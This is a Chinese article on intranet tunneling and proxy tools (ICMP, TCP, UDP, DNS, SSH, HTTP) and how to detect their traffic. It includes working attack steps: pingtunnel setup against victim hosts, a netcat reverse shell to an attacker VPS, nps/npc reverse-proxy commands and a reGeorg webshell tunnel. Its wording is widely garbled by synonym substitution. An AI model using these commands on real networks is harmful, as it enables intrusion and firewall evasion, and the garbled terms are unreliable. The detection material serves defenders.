1.1 隧道技能的观点
本日想跟大家聊一聊常用的内网代理工具和对这些工具常见的检测方法。内网代理一样平常利用隧道技能,援引一段百度百科对“隧道技能”的先容:
隧道技能是一种通过利用互联网络的根本举动步伐在网络之间通报数据的办法。利用隧道通报的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头供应了路由信息,从而使封装的负载数据能够通过互联网络通报。
被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上通报时所经由的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到终极目的地。把稳隧道技能是指包括数据封装、传输和解包在内的全过程。
1.2 正向与反向代理的观点
正向代理和反向代理是资源访问上的两个不同观点,一样平常来讲有下面两个含义。
正向代理:当客户端无法访问外部资源的时候(由于诸如墙这样的缘故原由),可以通过一个正向代理去间接访问,以是客户端须要配置代理做事器的ip。正向代理是一个位于客户端和原始做事器之间的做事器,为了从原始做事器取得内容,客户端向代理发送一个要求并指定目标(原始做事器),然后代理向原始做事器转交要求并将得到的内容返回给客户端。客户端必须要进行一些特殊的设置才能利用正向代理。
反向代理:客户端是无感知代理的存在,以代理做事器来接管internet上的连接要求,然后将要求转发给内部网络上的做事器,并将从做事器上得到的结果返回给internet上要求连接的客户端。
图1.2.1 正向与反向代理之间的差异与联系
但是对付渗透攻击者来说,从视角上看到的正向代理和反向代理和传统定义的正向与反向代理有一定差异。大略来说可以这样理解:
正向代理:攻击者主动连接代理做事器
反向代理:代理做事器主动连接攻击者
1.3 内网穿透的详细表现
内网穿透是指通过“隧道技能”打通了一条从攻击者到目标机器的通道,紧张表现为下面三个方面。
1)反弹shell
从目标机器能够反弹shell到攻击者的外网VPS,攻击者通过反弹回来的shell能够很方便的对目标内网进行扫描,这便是反向代理的一种表现形式。
2)端口转发
通过指定一条专门的通道,能够对目标内网某台机器的某个详细端口进行访问,这种端口转发常日是一对一的。
3)sock代理或者http代理
开通一条专门的通道,并且供应http代理或者sock代理。攻击者可以通过配置相应的代理,直接访问目标内网任意机器,这便是正向代理的一种表现形式。
2、常用隧道先容
我们进行内网渗透常用的隧道技能有dns隧道、http隧道、ssh隧道、icmp隧道、tcp隧道等。理论上所有的协议都可以作为隧道传输协议,并且传输的数据可以支持自定义的加解密算法。
按照隧道所处的协议层对不同的隧道技能进行分类,大体上可以分为下面几种。
2.1 网络层隧道
2.1.1 ICMP隧道
2.1.1.1 常见ICMP隧道工具
ICMP隧道是指通过ICMP协议来传输数据,ICMP协议不须要开放新的端口,随意马虎被防火墙放过,是目前目标盛行的一种绕过防火墙的数据传输办法之一。
1)icmpsh
icmpsh是一个比较轻巧的ICMP隧道技能工具,能够通过ICMP来反弹shell。优点是不须要目标机器上的root权限,缺陷是功能单一,反弹回来的cmd极不稳定。
由于icmpsh对应传输的ICMP数据并没有加密,以是通过抓包很随意马虎检测到个中的特色数据,如图2.1.1.1.1所示。
图2.1.1.1.1 icmpsh的数据包流量特色
github: https://github.com/inquisb/icmpsh
利用参考:
https://www.freebuf.com/articles/web/250711.html
2)icmptunnel
icmptunnel是通过在客户端和做事端分别创建虚拟网卡,利用ICMP协议来传输两个虚拟网卡之间的数据。缺陷是须要root权限,并且要创建网卡,随意马虎被创造。
github: https://github.com/DhavalKapil/icmptunnel
利用参考:
https://www.freebuf.com/articles/network/242015.html
3)pingtunnel
Pingtunnel是最盛行的一款ICMP代理工具,供应对tcp/udp/sock5流量伪装成icmp流量进行转发的功能。
利用条件:须要root或者administrator/system权限。网上有的说法是不须要管理员权限,本人实际测试中,管理员权限是须要的。
参考:https://github.com/esrrhs/pingtunnel
◆ 构建正向代理的ICMP攻击链路
被攻击端:
Victim1 x.x.x.x (公网地址), 10.29.84.80(内网地址)
Victim2 10.29.84.63(内网地址)
攻击端:
Attack 随意,能上网就行
全体利用过程如下:
① 在Victim1的机器上运行代码,运行之后Victim1 便是ICMP SERVER。会接管客户端发过来的ICMP数据包。
./pingtunnel -type server -noprint 1 -nolog 1
-type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。
-noprint 1 不在掌握台打印日志
-nolog 1 不存储日志文件
② 在Attack的机器上运行代码,运行之后代表Attack的机器开启4455端口作为sock5代理。
pingtunnel.exe -type client -l :4455 -s xx.xx.xx.xx -sock5 1 -noprint 1 -nolog 1
个中xx.xx.xx.xx更换为Victim1 对应的IP
③ 攻击者可以通过Proxifier设置全局的sock5代理来对目标内网的Victim2进行攻击。大略验证的话可以直接在浏览器中设置sock5代理。
图2.1.1.1.2.正向代理的ICMP攻击链路
正向代理的ICMP攻击链路,哀求目标机器1必须有公网IP,并且能正常地进行PING操作。
◆ 构建反向代理的ICMP攻击链路
被攻击端:
Victim1 10.29.84.80(内网地址)
Victim2 10.29.84.63(内网地址)
攻击端:
Attack xx.xx.xx.xx(公网IP)
反向代理和正向代理的攻击办法比较,便是把运行的代码交流了位置,原来在攻击者机器运行的程序换到目标机器1上运行,原来在目标机器1上运行的程序换到攻击者机器上运行。
① 在Attack的机器上运行代码,运行之后Attack便是ICMP SERVER。会接管客户端发过来的ICMP数据包。
./pingtunnel -type server -noprint 1 -nolog 1
-type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。
② 在Victim1的机器上运行代码,运行之后代表Victim1的机器开启4455端口作为sock5代理。
pingtunnel.exe -type client -l :4455 -s xx.xx.xx.xx -sock5 1 -noprint 1 -nolog 1
个中xx.xx.xx.xx更换为Attack对应的IP
图2.1.1.1.3 反向代理的ICMP攻击链路
但是到目前为止,我们只是在目标机器1上开启了一个sock5的代理端口4455,代理之后的要求会通过ICMP的要求包进行转发。
2.1.1.2 ICMP隧道检测技能
1)通过ICMP数据包的数量检测
一个正常的 ping每秒最多只会发送两个数据包,而利用ICMP隧道的浏览器在同一韶光会产生大量ICMP 数据包。
图2.1.1.2.1短韶光内产生大量ICMP数据包
2)对单个数据包的DATA字段大小进行考验
ICMP隧道数据包中DATA 每每大于64 比特
图2.1.1.2.2单个ICMP数据包的大小远大于正常数据包
3)探求相应数据包和要求数据包payload不一致的ICMP数据包
图2.1.1.2.3要乞降相应不一致的数据包
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随韶光变革,后面的固定不变,内容为!”#$%&’()+,-./01234567
参考:
https://www.freebuf.com/articles/network/202634.html
4)检讨ICMP数据包的协议标签
比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。
图2.1.1.2.4部分数据包的分外标识
2.2 传输层隧道
2.2.1 TCP隧道
2.1.1.1 常见TCP隧道工具
1)netcat
别号nc,网络工具中的瑞士军刀,利用量最广的反弹shell的手段之一,linux系统一样平常自带。
地址:https://eternallybored.org/misc/netcat/
利用参考:
https://blog.csdn.net/csacs/article/details/91440568
利用步骤,在做事端监听端口
nc -lvvp 8443
在客户端连接做事端端口
nc.exe -e cmd xx.xx.xx.xx 8443
图2.1.1.1.1 nc反弹shell截图
2)Powercat
powershell版本的nc,用法基本上同nc一样。
参考:https://github.com/besimorhino/powercat
3)lcx
lcx是一款比较常见的端口转发工具,上个世纪的产品了,以前用的多,现在已经用的人比较少了,紧张是基本上的杀软都会杀。
参考:https://github.com/windworst/LCX
4)HTRAN
功能基本上和lcx一样,但是是跨平台的。
参考:
https://github.com/bGN4/HTran/tree/master/HTran
5)Iox
iox是一款功能强大的端口转发&内网代理工具,该工具的功能类似于lcx和ew,但是iox的功能和性能都更加强大。
地址:https://github.com/EddieIvan01/iox
参考:
https://www.freebuf.com/articles/network/244567.html
6)NATBypass
利用go措辞编写的端口转发工具,功能和用法基本上和lcx一样,具有很好的跨平台性。
地址:https://github.com/cw1997/NATBypass
7)ew(EarthWorm)
EW 是一套便携式的网络穿透工具,具有 SOCKS v5做事架设和端口转发两大核心功能,可在繁芜网络环境下完成网络穿透。EW自带支持的多级代理机制是的EW成为目前最受攻击者喜好的工具之一。
地址:http://rootkiter.com/EarthWorm/
8)Temite
EarthWorm的升级版,已经永久停滞更新。
地址:http://rootkiter.com/Termite/
9)Venom
Venom是一款为渗透测试职员设计的利用Go开拓的多级代理工具。
地址:https://github.com/Dliv3/Venom/
10)Stowaway
Stowaway是一个利用go措辞编写的多级代理工具,功能非常类似Venom。
地址:https://github.com/ph4ntonn/Stowaway
11)Ssocks
正向和反向的socks工具,可实行文件的大小很小
地址:https://github.com/54Pany/sSocks
12)frp
frp是一款轻量级的内网穿透工具,最早是为了方便运维职员远程对目标内网环境进行管理,供应了tcp端口转发、http代理、socks5代理等功能。
地址:https://github.com/fatedier/frp
13)npc/nps
npc/nps是一款基于TCP协议的代理工具,本身供应基于各种平台的客户端,稳定性好,并且可以自定义数据加密办法。支持端口转发,http代理,sock5代理。是目前最受攻击者喜好的工具之一。
地址:
https://ehang-io.github.io/nps/;
https://github.com/ehang-io/nps
利用nps/npc构建反向代理利用步骤
① 在外网的VPS上面运行
docker run --name nps -p 280:80 -p 2443:443 -p 28080:8080 -p 28024:8024 -p 5001-5100:5001-5100 -v /opt/conf:/conf ffdfgdfg/nps
② 打开nps对应的web做事http://xx.xx.xx.xx:28080/,输入默认口令 admin 123
新建一个客户端地址,记录下天生的随机key
③在目标机器上面运行
npc -server=xx.xx.xx.xx:28024 -vkey=kow4td3v819abec6 -type=tcp
④ 在nps的管理端,显示连接为“在线”之后,点击“隧道”,新增一个socks5隧道。
端口选择5001-5100中的某个端口。
经由上面的步骤之后,我们就在vps上面开放了一个sock5代理,端口为5002。连接该代理的要求会直接转发到目标机器内网。
2.1.1.2 TCP隧道检测技能
不同的工具利用的TCP隧道发送和接管数据包的格式都不一样,并且由于TCP隧道目前来说相比拟较成熟,也导致大多数TCP隧道都是属于加密隧道。
对付大略的非加密的隧道工具,常日我们直接从数据包中就能找到很明显的特色。如图2.1.1.2.1所示。
图2.1.1.2.1NC明文传输的TCP数据包特色流
EarthWorm(简称ew)是一款比较好用的多级代理转发工具,相较于其他很多工具都要小很多,适用于一些分外场景。与nc比较,EarthWorm能够供应socks5代理的功能,适用性明显更广泛一些。但是从实质上来说EarthWorm还是只是流量转发的工具,并没有对流量进行加密,从流量中能够看到明文的内网要求的流量。
图2.1.1.2.2利用EW转发明文的内网要求流量
EW在建立连接和坚持连接的时候也有明显的特色,通过TCP连接发送和相应数据包“xx xx 00 00 00 00”来保持连接。最开始的时候客户端会向做事端发送“01 01 00 00 00 00”(如图2.1.1.2.3所示),做事端会相应“01 02 00 00 00 00”。后面的很多tcp包都和这个很相似,可以作为流量匹配的特色。
图2.1.1.2.3利用EW建立连接和坚持连接状态的特色包
对付加密传输的数据包流量,就只能针对不同的工具探求对应不同的特色点。抓了一下npc在建立连接之后的特色,npc的客户端在与做事端建立连接之后,会一贯发送带有当前韶光信息的数据包。
图2.1.1.2.4 NPC心跳数据包特色
frp是另一种常用的内网代理工具,利用frp建立作为内网代理工具时也有明显的流量特色。在客户端和做事端建立tcp连接时,客户端会发送本机根本信息和frp版本信息,均为明文的流量信息,如图2.1.1.2.5所示。由于frp默认利用TLS加密数据,tcp的数据包中会有很多关于TLS证书干系的信息,如图2.1.1.2.6所示。
图2.1.1.2.5 frp连接建立时的流量特色
图2.1.1.2.6 frp数据包中的TLS特色
2.1 网络层隧道
2.2.2 UDP隧道
2.2.2.1常见UDP隧道工具
1)Udp2raw
一款常见的UDP隧道工具,该工具可以利用原始套接字并通过假造的TCP/UDP/ICMP流量来帮助研究职员绕过UDP防火墙。
2)frp
frp既是一款常见的TCP隧道工具,也是一款UDP隧道工具。
要通过UDP协议来转发内网要求,可以通过在frp中开启kcp模式,如图2.2.2.1.1所示。从图中可以看出,利用UDP协议和TCP协议的流量特色一样的。
图2.2.2.1.1 frp利用udp协议搭建内网代理
2.3 运用层隧道
2.3.1 DNS隧道
2.3.1.1常见DNS隧道工具
1)dnscat2
通过将其他协议封装在DNS协议中传输建立通信。由于在我们的网络天下中DNS是一个必不可少的做事,以是大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种暗藏信道供应了条件,从而可以利用它实现诸如远程掌握,文件传输等操作。
地址:https://github.com/iagox86/dnscat2
2)dnscat2-powrshell
Powershelll版本的dnscat2。
地址:https://github.com/lukebaggett/dnscat2-powershell
3)dns2tcp
dns2tcp 是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的要求,用C措辞开拓。它分为两个部分,做事端和客户端,做事端运行在linux做事器上,客户端可以运行在linux和windows上(其他平台没有测试过),编译完成后在做事端上的可实行文件名称为dns2tcpd,在客户端(linux)上的名称为dns2tcpc。
地址:https://github.com/alex-sector/dns2tcp
4)Iodine
iodine是目前比较生动,有名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,乃至还有android客户端,不过它须要安装TUN/TAP。
地址:https://github.com/yarrick/iodine
2.3.1.2 DNS隧道检测技能
1)通过要乞降相应包的大小进行监测
常日dns tunneling为了取得较大的带宽,会选择布局只管即便大的dns要乞降相应。
2)检测TXT记录类型发送要乞降相应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果韶光窗口内,TXT记录的比例激增,那么也意味着存在非常。
3)还有各种各样的论文,有好多论文都提到了怎么检测DNS隧道流量检测。利用了各种算法,看不懂。
2.3.2 SSH隧道
ssh隧道常日不该用第三方的工具,直策应用linux自带的openssh客户端就可以进行端口转发。利用方法如下
sudo ssh -Nf -L 192.168.0.159:3334:192.168.213.131:3389 192.168.0.159
这里我们用到了SSH客户真个三个参数,下面我们逐一做出阐明:
◆ -N 见告SSH客户端,这个连接不须要实行任何命令。仅仅做端口转发
◆ -f 见告SSH客户端在后台运行
◆ -L 做本地映射端口,被冒号分割的三个部分含义分别是末了一个参数是我们用来建立隧道的中间机器的IP地址(IP: 192.168.0.159)
◆ 须要利用确当地端口号(端口: 3334)
◆ 须要访问的目标机器IP地址(IP: 192.168.213.131)
◆ 须要访问的目标机器端口(端口: 3389)
那么本地局域网的任何机器访问192.168.0.159:3334都会自动被映射到192.168.213.131:3389。
图2.3.2.1 ssh端口转发之后效果
2.3.3 HTTP隧道
2.3.3.1常见的HTTP隧道工具
1)reDuh
最早涌现的http正向代理的工具,能够把webshell转化进行端口转发,工具客户端供应gui界面。
2)tunnel
属于reDuh的升级产品,通过在攻击端利用python把webshell转化为sock代理和端口转发。,目前来说还是有比较大的利用量。
地址:https://github.com/SECFORCE/Tunna
3)reGeoge
reGeoge属于tunnel的替代和升级产品,通过在攻击端利用python把webshell转化为sock5代理。属于目前还比较盛行的一种内网穿透办法。
地址:https://github.com/sensepost/reGeorg
详细的利用步骤如下:
◆ 上传对应的tunnel文件到做事端,并且进行访问。如图2.3.3.1.1所示。
图2.3.3.1.1 tunnel文件上传之后返回页面
◆ 本地攻击端通过python2运行
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
图2.3.3.1.2通过webshell开启本地sock5代理
通过上面这两步之后就在本地开启了一个sock5代理,通过这个代理就可以直接访问到目标做事器的内网,合营proxifier等工具就能对目标内网进行扫描和其他攻击行为。
4)Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特色检测,更新生动.
地址:https://github.com/L-codes/Neo-reGeorg
5)ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特色检测十分精良,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp。
地址:https://github.com/nccgroup/ABPTTS
2.3.3.2 HTTP隧道检测技能
http的隧道常日须要上传一个脚本文件(asp, aspx, php, jsp)。通过脚本文件来复用靶机的web端口,布局一条代理链路或者进行端口转发。
1)通过脚本文件页面返回内容进行检测。
reDuh脚本文件默认返回。
图2.3.3.2.1 reDuh脚本默认返回
比如上传 ReGeorg tunnel文件,页面对应的返回基本上都是下面的页面内容。
图2.3.3.2.2 reGeorg 页面默认相应
这种http代理类型的工具刚开始的时候都会有一个建立连接的要求包,这个要求包都具有比较明显的特色,如下所示。
2.3.3.2.3 reGeorg要求的默认要求头,个中Accept-Encoding字段有特色
2.3.3.2.4 tunnel默认的要求头,个中authorization字段有特色
2)通过流量中的数据特色来剖析攻击行为。
这里的流量特色基本上都是明文信息,只要按照通用的攻击检测技能就可以了。
内网代理工具与检测方法研究